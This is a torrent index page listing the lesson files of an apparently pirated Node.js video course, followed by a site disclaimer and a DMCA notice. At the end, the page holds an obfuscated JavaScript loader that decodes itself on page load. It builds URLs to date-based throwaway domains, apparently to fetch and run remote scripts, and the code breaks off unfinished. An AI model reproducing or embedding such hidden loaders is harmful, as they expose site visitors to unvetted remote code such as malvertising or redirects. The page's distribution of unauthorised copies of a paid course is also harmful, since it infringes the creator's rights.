NodeJS - The Complete Guide (incl. MVC, REST APIs, GraphQL)

mp4   Hot:32   Size:16.11 GB   Created:2024-07-17 06:27:04   Update:2024-10-21 23:48:26  

File List

  • Урок 392. Using Variables.mp4 164.45 MB
    Урок 001. Introduction.mp4 33.41 MB
    Урок 002. What is Node.js.mp4 73.78 MB
    Урок 003. Installing Node.js and Creating our First App.mp4 119.85 MB
    Урок 004. Understanding the Role & Usage of Node.js.mp4 115.97 MB
    Урок 005. Course Outline.mp4 96.75 MB
    Урок 006. How To Get The Most Out Of The Course.mp4 55.78 MB
    Урок 007. Working with the REPL vs Using Files.mp4 35.93 MB
    Урок 008. Module Introduction.mp4 3.16 MB
    Урок 009. JavaScript in a Nutshell.mp4 8.5 MB
    Урок 010. Refreshing the Core Syntax.mp4 23.34 MB
    Урок 011. let & const.mp4 17.01 MB
    Урок 012. Understanding Arrow Functions.mp4 34.85 MB
    Урок 013. Working with Objects, Properties & Methods.mp4 16.26 MB
    Урок 014. Arrays & Array Methods.mp4 26.73 MB
    Урок 015. Arrays, Objects & Reference Types.mp4 12.51 MB
    Урок 016. Understanding Spread & Rest Operators.mp4 47.38 MB
    Урок 017. Destructuring.mp4 40.08 MB
    Урок 018. Async Code & Promises.mp4 60.94 MB
    Урок 019. Wrap Up.mp4 4.29 MB
    Урок 020. Module Introduction.mp4 5.18 MB
    Урок 021. How The Web Works.mp4 12.31 MB
    Урок 022. Creating a Node Server.mp4 53.34 MB
    Урок 023. The Node Lifecycle & Event Loop.mp4 20.34 MB
    Урок 024. Understanding Requests.mp4 26.15 MB
    Урок 025. Sending Responses.mp4 43.5 MB
    Урок 026. Routing Requests.mp4 46.47 MB
    Урок 027. Redirecting Requests.mp4 32.56 MB
    Урок 028. Parsing Request Bodies.mp4 78.61 MB
    Урок 029. Understanding Event Driven Code Execution.mp4 51.36 MB
    Урок 030. Blocking and Non-Blocking Code.mp4 44.34 MB
    Урок 031. Node.js - Looking Behind the Scenes.mp4 49.03 MB
    Урок 032. Using the Node Modules System.mp4 83.28 MB
    Урок 033. Wrap Up.mp4 29.61 MB
    Урок 034. Module Introduction.mp4 1.68 MB
    Урок 035. Understanding NPM Scripts.mp4 43.5 MB
    Урок 036. Installing 3rd Party Packages.mp4 60.93 MB
    Урок 037. Using Nodemon for Autorestarts.mp4 12.37 MB
    Урок 038. Understanding different Error Types.mp4 5.6 MB
    Урок 039. Finding & Fixing Syntax Errors.mp4 24.25 MB
    Урок 040. Dealing with Runtime Errors.mp4 26.87 MB
    Урок 041. Logical Errors.mp4 54.51 MB
    Урок 042. Using the Debugger.mp4 29.89 MB
    Урок 043. Restarting the Debugger Automatically After Editing our App.mp4 54.05 MB
    Урок 044. Changing Variables in the Debug Console.mp4 12.61 MB
    Урок 045. Wrap Up.mp4 19.87 MB
    Урок 046. Module Introduction.mp4 5.01 MB
    Урок 047. What is Express.js.mp4 11.3 MB
    Урок 048. Installing Express.js.mp4 26.45 MB
    Урок 049. Adding Middleware.mp4 32.89 MB
    Урок 050. How Middleware Works.mp4 22.83 MB
    Урок 051. Express.js - Looking Behind the Scenes.mp4 33.19 MB
    Урок 052. Handling Different Routes.mp4 41.95 MB
    Урок 053. Parsing Incoming Requests.mp4 66.57 MB
    Урок 054. Limiting Middleware Execution to POST Requests.mp4 15.23 MB
    Урок 055. Using Express Router.mp4 61.37 MB
    Урок 056. Adding a 404 Error Page.mp4 20.82 MB
    Урок 057. Filtering Paths.mp4 30.63 MB
    Урок 058. Creating HTML Pages.mp4 37.5 MB
    Урок 059. Serving HTML Pages.mp4 61.44 MB
    Урок 060. Returning a 404 Page.mp4 17.05 MB
    Урок 061. Using a Helper Function for Navigation.mp4 28.82 MB
    Урок 062. Styling our Pages.mp4 142.26 MB
    Урок 063. Serving Files Statically.mp4 75.79 MB
    Урок 064. Wrap Up.mp4 21.3 MB
    Урок 065. Module Introduction.mp4 6.17 MB
    Урок 066. Sharing Data Across Requests & Users.mp4 66.87 MB
    Урок 067. Templating Engines - An Overview.mp4 11.46 MB
    Урок 068. Installing & Implementing Pug.mp4 105.31 MB
    Урок 069. Outputting Dynamic Content.mp4 111.37 MB
    Урок 070. Converting HTML Files to Pug.mp4 60.81 MB
    Урок 071. Adding a Layout.mp4 51.11 MB
    Урок 072. Finishing the Pug Template.mp4 58.68 MB
    Урок 073. Working with Handlebars.mp4 48.84 MB
    Урок 074. Converting our Project to Handlebars.mp4 86.94 MB
    Урок 075. Adding the Layout to Handlebars.mp4 95.64 MB
    Урок 076. Working with EJS.mp4 86.93 MB
    Урок 077. Working on the Layout with Partials.mp4 95.2 MB
    Урок 078. Wrap Up.mp4 41.19 MB
    Урок 079. Module Introduction.mp4 1.96 MB
    Урок 080. What is the MVC.mp4 8.99 MB
    Урок 081. Adding Controllers.mp4 76.06 MB
    Урок 082. Finishing the Controllers.mp4 20.55 MB
    Урок 083. Adding a Product Model.mp4 62.86 MB
    Урок 084. Storing Data in Files Via the Model.mp4 90.96 MB
    Урок 085. Fetching Data from Files Via the Model.mp4 38.63 MB
    Урок 086. Refactoring the File Storage Code.mp4 43.25 MB
    Урок 087. Wrap Up.mp4 8.85 MB
    Урок 088. Module Introduction.mp4 2.99 MB
    Урок 089. Creating the Shop Structure.mp4 43.48 MB
    Урок 090. Working on the Navigation.mp4 27.73 MB
    Урок 091. Registering the Routes.mp4 110.65 MB
    Урок 092. Storing Product Data.mp4 53.27 MB
    Урок 093. Displaying Product Data.mp4 24.48 MB
    Урок 094. Editing & Deleting Products.mp4 43.26 MB
    Урок 095. Adding Another Item.mp4 19.92 MB
    Урок 096. Module Introduction.mp4 2.76 MB
    Урок 097. Preparations.mp4 7.25 MB
    Урок 098. Adding the Product ID to the Path.mp4 38.53 MB
    Урок 099. Extracting Dynamic Params.mp4 42.51 MB
    Урок 100. Loading Product Detail Data.mp4 44.44 MB
    Урок 101. Rendering the Product Detail View.mp4 55.3 MB
    Урок 102. Passing Data with POST Requests.mp4 74.97 MB
    Урок 103. Adding a Cart Model.mp4 118.71 MB
    Урок 104. Using Query Params.mp4 44.21 MB
    Урок 105. Pre-Populating the Edit Product Page with Data.mp4 70.36 MB
    Урок 106. Linking to the Edit Page.mp4 24.13 MB
    Урок 107. Editing the Product Data.mp4 91.85 MB
    Урок 108. Adding the Product-Delete Functionality.mp4 49.86 MB
    Урок 109. Deleting Cart Items.mp4 78.79 MB
    Урок 110. Displaying Cart Items on the Cart Page.mp4 77.86 MB
    Урок 111. Deleting Cart Items.mp4 50.5 MB
    Урок 112. Fixing a Delete Product Bug.mp4 15.39 MB
    Урок 113. Wrap Up.mp4 7.8 MB
    Урок 114. Module Introduction.mp4 3.68 MB
    Урок 115. Choosing a Database.mp4 11.83 MB
    Урок 116. NoSQL Introduction.mp4 15.36 MB
    Урок 117. Comparing SQL and NoSQL.mp4 19.73 MB
    Урок 118. Setting Up MySQL.mp4 86.44 MB
    Урок 119. Connecting our App to the SQL Database.mp4 45.01 MB
    Урок 120. Basic SQL & Creating a Table.mp4 28.39 MB
    Урок 121. Retrieving Data.mp4 29.7 MB
    Урок 122. Fetching Products.mp4 56.95 MB
    Урок 123. Fetching Products - Time to Practice.mp4 9.59 MB
    Урок 124. Inserting Data Into the Database.mp4 35.68 MB
    Урок 125. Fetching a Single Product with the where Condition.mp4 26.59 MB
    Урок 126. Wrap Up.mp4 11.65 MB
    Урок 127. Module Introduction.mp4 7.58 MB
    Урок 128. What is Sequelize.mp4 7.24 MB
    Урок 129. Connecting to the Database.mp4 24.8 MB
    Урок 130. Defining a Model.mp4 50.65 MB
    Урок 131. Syncing JS Definitions to the Database.mp4 40.91 MB
    Урок 132. Inserting Data & Creating a Product.mp4 46.69 MB
    Урок 133. Retrieving Data & Finding Products.mp4 27.81 MB
    Урок 134. Getting a Single Product with the & where& Condition.mp4 48.9 MB
    Урок 135. Fetching Admin Products.mp4 12.73 MB
    Урок 136. Updating Products.mp4 49.72 MB
    Урок 137. Deleting Products.mp4 23.7 MB
    Урок 138. Creating a User Model.mp4 24.29 MB
    Урок 139. Adding a One-To-Many Relationship.mp4 50.93 MB
    Урок 140. Creating & Managing a Dummy User.mp4 62.62 MB
    Урок 141. Using Magic Association Methods.mp4 37.99 MB
    Урок 142. Fetching Related Products.mp4 28.64 MB
    Урок 143. One-To-Many & Many-To-Many Relations.mp4 62.25 MB
    Урок 144. Creating & Fetching a Cart.mp4 59.66 MB
    Урок 145. Adding New Products to the Cart.mp4 65.5 MB
    Урок 146. Adding Existing Products & Retrieving Cart Items.mp4 44.89 MB
    Урок 147. Deleting Related Items & Deleting Cart Products.mp4 25.52 MB
    Урок 148. Adding an Order Model.mp4 36.76 MB
    Урок 149. Storing Cartitems as Orderitems.mp4 78.12 MB
    Урок 150. Resetting the Cart & Fetching and Outputting Orders.mp4 92.41 MB
    Урок 151. Wrap Up.mp4 8.29 MB
    Урок 152. Module Introduction.mp4 3.21 MB
    Урок 153. What is MongoDB.mp4 10.2 MB
    Урок 154. Relations in NoSQL.mp4 17.72 MB
    Урок 155. Setting Up MongoDB.mp4 37.24 MB
    Урок 156. Installing the MongoDB Driver.mp4 58.83 MB
    Урок 157. Creating the Database Connection.mp4 27.81 MB
    Урок 158. Finishing the Database Connection.mp4 34.11 MB
    Урок 159. Using the Database Connection.mp4 52.01 MB
    Урок 160. Creating Products.mp4 21.27 MB
    Урок 161. Understanding the MongoDB Compass.mp4 16.4 MB
    Урок 162. Fetching All Products.mp4 38.43 MB
    Урок 163. Fetching a Single Product.mp4 63.47 MB
    Урок 164. Making the Edit & Delete Buttons Work Again.mp4 20.85 MB
    Урок 165. Working on the Product Model to Edit our Product.mp4 67.25 MB
    Урок 166. Finishing the Update Product Code.mp4 35.03 MB
    Урок 167. One Note About Updating Products.mp4 15.97 MB
    Урок 168. Deleting Products.mp4 31.69 MB
    Урок 169. Fixing the Add Product Functionality.mp4 11.96 MB
    Урок 170. Creating New Users.mp4 54.33 MB
    Урок 171. Storing the User in our Database.mp4 49.36 MB
    Урок 172. Working on Cart Items & Orders.mp4 62.2 MB
    Урок 173. Adding the Add to Cart Functionality.mp4 52.36 MB
    Урок 174. Storing Multiple Products in the Cart.mp4 59.12 MB
    Урок 175. Displaying the Cart Items.mp4 79.25 MB
    Урок 176. Fixing a Bug.mp4 8.51 MB
    Урок 177. Deleting Cart Items.mp4 38.42 MB
    Урок 178. Adding an Order.mp4 37.83 MB
    Урок 179. Adding Relational Order Data.mp4 53.54 MB
    Урок 180. Getting Orders.mp4 27.87 MB
    Урок 181. Removing Deleted Items From the Cart.mp4 19.92 MB
    Урок 182. Wrap Up.mp4 11.41 MB
    Урок 183. Module Introduction.mp4 2.76 MB
    Урок 184. What is Mongoose.mp4 6.68 MB
    Урок 185. Connecting to the MongoDB Server with Mongoose.mp4 45.24 MB
    Урок 186. Creating the Product Schema.mp4 55.33 MB
    Урок 187. Saving Data Through Mongoose.mp4 57.19 MB
    Урок 188. Fetching All Products.mp4 23.5 MB
    Урок 189. Fetching a Single Product.mp4 12.15 MB
    Урок 190. Updating Products.mp4 42.83 MB
    Урок 191. Deleting Products.mp4 13.1 MB
    Урок 192. Adding and Using a User Model.mp4 65.37 MB
    Урок 193. Using Relations in Mongoose.mp4 33.74 MB
    Урок 194. One Important Thing About Fetching Relations.mp4 38.93 MB
    Урок 195. Working on the Shopping Cart.mp4 53.59 MB
    Урок 196. Loading the Cart.mp4 51.98 MB
    Урок 197. Deleting Cart Items.mp4 27.8 MB
    Урок 198. Creating & Getting Orders.mp4 86.45 MB
    Урок 199. Storing All Order Related Data.mp4 16.84 MB
    Урок 200. Clearing the Cart After Storing an Order.mp4 19.77 MB
    Урок 201. Getting & Displaying the Orders.mp4 32.53 MB
    Урок 202. Wrap Up.mp4 13.09 MB
    Урок 203. Module Introduction.mp4 1.83 MB
    Урок 204. What is a Cookie.mp4 4.39 MB
    Урок 205. The Current Project Status.mp4 20.27 MB
    Урок 206. Optional_ Creating the Login Form.mp4 63.55 MB
    Урок 207. Adding the Request Driven Login Solution.mp4 75.46 MB
    Урок 208. Setting a Cookie.mp4 45.95 MB
    Урок 209. Manipulating Cookies.mp4 10.08 MB
    Урок 210. Configuring Cookies.mp4 46.04 MB
    Урок 211. What is a Session.mp4 7.68 MB
    Урок 212. Initializing the Session Middleware.mp4 27.81 MB
    Урок 213. Using the Session Middleware.mp4 36.13 MB
    Урок 214. Using MongoDB to Store Sessions.mp4 63.32 MB
    Урок 215. Sessions & Cookies - A Short Summary.mp4 18.82 MB
    Урок 216. Deleting a Cookie.mp4 37.25 MB
    Урок 217. Fixing Some Minor Bugs.mp4 37.72 MB
    Урок 218. Making Add to Cart Work Again.mp4 67.41 MB
    Урок 219. Two Tiny Improvements.mp4 24.37 MB
    Урок 220. Wrap Up.mp4 18.39 MB
    Урок 221. Module Introduction.mp4 3.01 MB
    Урок 222. What is Authentication.mp4 7.52 MB
    Урок 223. How is Authentication Implemented.mp4 5.98 MB
    Урок 224. Our Updated Project Status.mp4 16.82 MB
    Урок 225. Implementing an Authentication Flow.mp4 70.45 MB
    Урок 226. Encrypting Passwords.mp4 32.31 MB
    Урок 227. Adding a Tiny Code Improvement.mp4 13.04 MB
    Урок 228. Adding the Signin Functionality.mp4 59.54 MB
    Урок 229. Working on Route Protection.mp4 17.73 MB
    Урок 230. Using Middleware to Protect Routes.mp4 39.97 MB
    Урок 231. Understanding CSRF Attacks.mp4 11.75 MB
    Урок 232. Using a CSRF Token.mp4 71.07 MB
    Урок 233. Adding CSRF Protection.mp4 42.83 MB
    Урок 234. Fixing the Order Button.mp4 11.07 MB
    Урок 235. Providing User Feedback.mp4 70.18 MB
    Урок 236. Optional_ Styling Error Messages.mp4 35.95 MB
    Урок 237. Finishing the Flash Messages.mp4 17.88 MB
    Урок 238. Adding Additional Flash Massages.mp4 20.96 MB
    Урок 239. Wrap Up.mp4 12.22 MB
    Урок 240. Module Introduction.mp4 1.73 MB
    Урок 241. How Does Sending Emails Work.mp4 3.33 MB
    Урок 242. Using SendGrid.mp4 12.74 MB
    Урок 243. Using Nodemailer to Send an Email.mp4 49.66 MB
    Урок 244. Potential Limitation for Large Scale Apps.mp4 14.06 MB
    Урок 245. Module Introduction.mp4 1.66 MB
    Урок 246. Resetting Passwords.mp4 30.84 MB
    Урок 247. Implementing the Token Logic.mp4 76.3 MB
    Урок 248. Creating the Token.mp4 10.7 MB
    Урок 249. Creating the Reset Password Form.mp4 59.48 MB
    Урок 250. Adding Logic to Update the Password.mp4 70.59 MB
    Урок 251. Why we Need Authorization.mp4 10.53 MB
    Урок 252. Adding Authorization.mp4 17.62 MB
    Урок 253. Adding Protection to Post Actions.mp4 35.44 MB
    Урок 254. Why Editing Fails.mp4 6.02 MB
    Урок 255. Wrap Up.mp4 6.43 MB
    Урок 256. Module Introduction.mp4 2.29 MB
    Урок 257. Why Should We Use Validation.mp4 5.27 MB
    Урок 258. How to Validate Input.mp4 13.01 MB
    Урок 259. Setup & Basic Validation.mp4 98.94 MB
    Урок 260. Using Validation Error Messages.mp4 20.97 MB
    Урок 261. Built-In & Custom Validators.mp4 38.97 MB
    Урок 262. More Validators.mp4 37.29 MB
    Урок 263. Checking For Field Equality.mp4 28.33 MB
    Урок 264. Adding Async Validation.mp4 45.24 MB
    Урок 265. Keeping User Input.mp4 40.71 MB
    Урок 266. Adding Conditional CSS Classes.mp4 53.12 MB
    Урок 267. Adding Validation to Login.mp4 53.19 MB
    Урок 268. Sanitizing Data.mp4 35.02 MB
    Урок 269. Validating Product Addition.mp4 106.84 MB
    Урок 270. Validating Product Editing.mp4 72.54 MB
    Урок 271. Wrap Up.mp4 14.44 MB
    Урок 272. Module Introduction.mp4 1.41 MB
    Урок 273. Types of Errors & Error Handling.mp4 17.27 MB
    Урок 274. Analyzing the Error Handling in the Current Project.mp4 24.71 MB
    Урок 275. Errors - Some Theory.mp4 58.57 MB
    Урок 276. Throwing Errors in Code.mp4 21.23 MB
    Урок 277. Returning Error Pages.mp4 67.05 MB
    Урок 278. Using the Express.js Error Handling Middleware.mp4 62.74 MB
    Урок 279. Updating the App.mp4 37.55 MB
    Урок 280. Using the Error Handling Middleware Correctly.mp4 51.17 MB
    Урок 281. Status Codes.mp4 39.62 MB
    Урок 282. Wrap Up.mp4 11.38 MB
    Урок 283. Module Introduction.mp4 1.97 MB
    Урок 284.Adding a File Picker to the Frontend.mp4 20.38 MB
    Урок 285. Handling Multipart Form Data.mp4 48.23 MB
    Урок 286. Handling File Uploads with Multer.mp4 51.35 MB
    Урок 287. Configuring Multer to Adjust Filename & Filepath.mp4 45.3 MB
    Урок 288. Filtering Files by Mimetype.mp4 27.5 MB
    Урок 289. Storing File Data in the Database.mp4 80.18 MB
    Урок 290. Serving Images Statically.mp4 43.64 MB
    Урок 291. Downloading Files with Authentication.mp4 73.46 MB
    Урок 292. Setting File Type Headers.mp4 26.34 MB
    Урок 293. Restricting File Access.mp4 41.04 MB
    Урок 294. Streaming Data vs Preloading Data.mp4 32.86 MB
    Урок 295. Using PDFKit for .pdf Generation.mp4 61.83 MB
    Урок 296. Generating .pdf Files with Order Data.mp4 73.03 MB
    Урок 297. Deleting Files.mp4 65.96 MB
    Урок 298. Fixing Invoice Links.mp4 5.93 MB
    Урок 299. Wrap Up.mp4 19.25 MB
    Урок 300. Module Introduction.mp4 1.5 MB
    Урок 301. Adding Pagination Links.mp4 34.15 MB
    Урок 302. Retrieving a Chunk of Data.mp4 34.75 MB
    Урок 303. Preparing Pagination Data on the Server.mp4 39.39 MB
    Урок 304. Adding Dynamic Pagination Buttons.mp4 78.13 MB
    Урок 305. Re-Using the Pagination Logic & Controls.mp4 35.93 MB
    Урок 306. Wrap Up.mp4 9.25 MB
    Урок 307. Module Introduction.mp4 1.95 MB
    Урок 308. What are Async Requests.mp4 5.5 MB
    Урок 309. Adding Client Side JS Code.mp4 65.38 MB
    Урок 310. Sending & Handling Background Requests.mp4 84.44 MB
    Урок 311. Manipulating the DOM.mp4 26.16 MB
    Урок 312. Module Introduction.mp4 1.89 MB
    Урок 313. How Payments Work.mp4 6.01 MB
    Урок 314. Adding a Checkout Page.mp4 59.16 MB
    Урок 315. Using Stripe in Your App.mp4 144.04 MB
    Урок 316. Module Introduction.mp4 3.27 MB
    Урок 317. What are REST APIs and why do we use Them.mp4 30.35 MB
    Урок 318. Accessing Data with REST APIs.mp4 19.3 MB
    Урок 319. Understanding Routing & HTTP Methods.mp4 19.15 MB
    Урок 320. REST APIs - The Core Principles.mp4 15.43 MB
    Урок 321. Creating our REST API Project & Implementing the Route Setup.mp4 38.08 MB
    Урок 322. Sending Requests & Responses and Working with Postman.mp4 83.56 MB
    Урок 323. REST APIs, Clients & CORS Errors.mp4 59.93 MB
    Урок 324. Sending POST Requests.mp4 55.09 MB
    Урок 325. Wrap Up.mp4 10.36 MB
    Урок 326. Module Introduction.mp4 2.81 MB
    Урок 327. REST APIs & The Rest Of The Course.mp4 19.86 MB
    Урок 328. Understanding the Frontend Setup.mp4 31.04 MB
    Урок 329. Planning the API.mp4 31.3 MB
    Урок 330. Fetching Lists of Posts.mp4 55.31 MB
    Урок 331. Adding a Create Post Endpoint.mp4 62.57 MB
    Урок 332. Adding Server Side Validation.mp4 52.67 MB
    Урок 333. Setting Up a Post Model.mp4 44.44 MB
    Урок 334. Storing Posts in the Database.mp4 32.25 MB
    Урок 335. Static Images & Error Handling.mp4 67.31 MB
    Урок 336. Fetching a Single Post.mp4 73.12 MB
    Урок 337. Uploading Images.mp4 73.09 MB
    Урок 338. Updating Posts.mp4 136.49 MB
    Урок 339. Deleting Posts.mp4 41.93 MB
    Урок 340. Adding Pagination.mp4 55.79 MB
    Урок 341. Adding a User Model.mp4 38.16 MB
    Урок 342. Adding User Signup Validation.mp4 61.25 MB
    Урок 343. Signing Users Up.mp4 68.76 MB
    Урок 344. How Does Authentication Work.mp4 7.51 MB
    Урок 345. Starting with User Login.mp4 34.12 MB
    Урок 346. Logging In & Creating JSON Web Tokens (JWTs).mp4 67.88 MB
    Урок 347. Using & Validating the Token.mp4 93.84 MB
    Урок 348. Adding Auth Middleware to All Routes.mp4 20.24 MB
    Урок 349. Connecting Posts & Users.mp4 59.43 MB
    Урок 350. Adding Authorization Checks.mp4 31.98 MB
    Урок 351. Clearing Post-User Relations.mp4 27.39 MB
    Урок 352. Wrap Up.mp4 11.01 MB
    Урок 353. Module Introduction.mp4 2.21 MB
    Урок 354. What is Async Await All About.mp4 33.18 MB
    Урок 355. Transforming & Then Catch& to & Async Await&.mp4 46.21 MB
    Урок 356. Wrap Up.mp4 32.09 MB
    Урок 357. Module Introduction.mp4 2.38 MB
    Урок 358. What Are Websockets & Why Would You Use Them.mp4 11.35 MB
    Урок 359. Websocket Solutions - An Overview.mp4 12.56 MB
    Урок 360. Setting Up Socket.io on the Server.mp4 38.08 MB
    Урок 361. Establishing a Connection From the Client.mp4 26.66 MB
    Урок 362. Identifying Realtime Potential.mp4 24.31 MB
    Урок 363. Sharing the IO Instance Across Files.mp4 22.9 MB
    Урок 364. Synchronizing POST Additions.mp4 68.7 MB
    Урок 365. Fixing a Bug - The Missing Username.mp4 16.78 MB
    Урок 366. Updating Posts On All Connected Clients.mp4 42.31 MB
    Урок 367. Sorting Correctly.mp4 8.46 MB
    Урок 368. Deleting Posts Across Clients.mp4 26.64 MB
    Урок 369. Wrap Up.mp4 14.33 MB
    Урок 370. Module Introduction.mp4 1.92 MB
    Урок 371. What is GraphQL.mp4 32.9 MB
    Урок 372. Understanding the Setup & Writing our First Query.mp4 82.05 MB
    Урок 373. Defining a Mutation Schema.mp4 45.68 MB
    Урок 374. Adding a Mutation Resolver & GraphiQL.mp4 81.66 MB
    Урок 375. Adding Input Validation.mp4 42.22 MB
    Урок 376. Handling Errors.mp4 38.96 MB
    Урок 377. Connecting the Frontend to the GraphQL API.mp4 63.65 MB
    Урок 378. Adding a Login Query & a Resolver.mp4 59.26 MB
    Урок 379. Adding Login Functionality.mp4 48.95 MB
    Урок 380. Adding a Create Post Mutation.mp4 70.97 MB
    Урок 381. Extracting User Data From the Auth Token.mp4 63.11 MB
    Урок 382. Sending the & Create Post& Query.mp4 47.76 MB
    Урок 383. Fixing a Bug & Adding New Posts Correctly.mp4 25.87 MB
    Урок 384. Adding a & Get Post& Query & Resolver.mp4 46.19 MB
    Урок 385. Sending & Create Post& and & Get Post& Queries.mp4 50.88 MB
    Урок 386. Adding Pagination.mp4 44.64 MB
    Урок 387. Uploading Images.mp4 106.7 MB
    Урок 388. Viewing a Single Post.mp4 60.58 MB
    Урок 389. Updating Posts.mp4 103.81 MB
    Урок 390. Deleting Posts.mp4 95.32 MB
    Урок 391. Managing the User Status.mp4 91.98 MB
    code.zip 73.03 MB
    Урок 393. Fixing a Pagination Bug.mp4 30.34 MB
    Урок 394. Wrap Up.mp4 19.81 MB
    Урок 395. Module Introduction.mp4 2.96 MB
    Урок 396. Deploying Different Kinds of Apps.mp4 5.4 MB
    Урок 397. Deployment Preparations.mp4 21 MB
    Урок 398. Using Environment Variables.mp4 105.21 MB
    Урок 399. Using Production API Keys.mp4 9.78 MB
    Урок 400. Setting Secure Response Headers with Helmet.mp4 26.45 MB
    Урок 401. Compressing Assets.mp4 27.22 MB
    Урок 402. Setting Up Request Logging.mp4 39.87 MB
    Урок 403. Setting Up a SSL Server.mp4 73.25 MB
    Урок 404. Using a Hosting Provider.mp4 15.92 MB
    Урок 405. Understanding the Project & the Git Setup.mp4 24.26 MB
    Урок 406. A Deployment Example with Heroku.mp4 83.15 MB
    Урок 407. Deploying APIs.mp4 17.64 MB
    Урок 408. Module Introduction.mp4 2.26 MB
    Урок 409. npm & Node.js.mp4 3.32 MB
    Урок 410. Using npm.mp4 58.99 MB
    Урок 411. What is a Build Tool.mp4 33.15 MB
    Урок 412. Using Node.js in Build Processes.mp4 55.95 MB
    Урок 413. Course Roundup.mp4 33.78 MB

Download Info

  • Tips

    “NodeJS - The Complete Guide (incl. MVC, REST APIs, GraphQL)” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 